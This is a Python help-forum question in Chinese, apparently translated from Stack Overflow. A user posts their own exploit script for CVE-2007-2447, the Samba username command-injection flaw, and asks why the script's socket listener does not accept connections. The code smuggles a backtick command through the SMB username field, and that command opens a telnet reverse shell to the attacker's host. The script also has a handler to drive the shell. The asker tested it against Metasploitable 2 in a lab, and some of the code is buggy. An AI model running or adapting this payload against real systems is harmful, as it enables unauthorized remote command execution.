Python套接字似乎无法接受连接

2024-10-04 01:31:01 发布

您现在位置:Python中文网/ 问答频道 /正文

最近,我为CVE2007-2447创建了Metasploit模块的Python实现,我在网上找到了一个基本脚本,我学习了其中的一些内容,然后决定将侦听器构建到脚本中,这样我就不必在Python脚本旁边运行Netcat了。你知道吗

import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
    print("[+] " + rHost, rPort, lHost, lPort)
    payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
    username = "/=`nohup " + payload + "`"
    password = ""

    print("[+] " + username + password)

    s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
    #try:
    s.connect(rHost, int(rPort), timeout=1)
    print("[+] Payload sent!")
    handler(shell)
    #except Exception as e:
    #    print(e)
    #    print("[*] Fail!") 

def handler(shell):
    (conn, address) = shell.accept()
    print("[+] Connected to " + address)
    commandSender(conn)
    conn.close()

def commandSender(conn):
    shell_status = True

    shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
    shell_recv_thread.start()

    command = ''
    while shell_status == True:
        command = input()
        if command == "exit":
            shell_status = False
            conn.close()
            shell_recv_thread.join()
            sys.exit(0)
        conn.send(bytes(command + "\n", "utf-8"))

def recvStream(conn, addr, status):
    status = True

    while status == True:
        try:
            print(conn.recv(1024))
        except conn.timeout:
            pass
        except Exception as e:
            print(e)
            print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
    print("[*] CVE2007-2447")
    if len(sys.argv) != 5:
        print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Exectuting...")

        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.bind((sys.argv[3], int(sys.argv[4])))
        shell.listen(10)

        rHost = sys.argv[1]
        rPort = sys.argv[2]
        lHost = sys.argv[3]
        lPort = sys.argv[4]

        exploit(rHost, rPort, lHost, lPort)

如您所见,此攻击的脚本相当简单,由于未初始化的用户输入,攻击者可以在用户名字段中向受影响的设备发送命令。我在运行脚本时检查了Netstat&我可以看到我的机器肯定在侦听我为lPort指定的端口,但是由于某些原因,套接字似乎无法接受连接。为了测试代码,我在一个Ubuntu虚拟机中运行它,而这个虚拟机是在同一子网上的一个单独的虚拟机中运行的Metasploitable 2。你知道吗


Tags: import脚本truedefstatussyssocketshell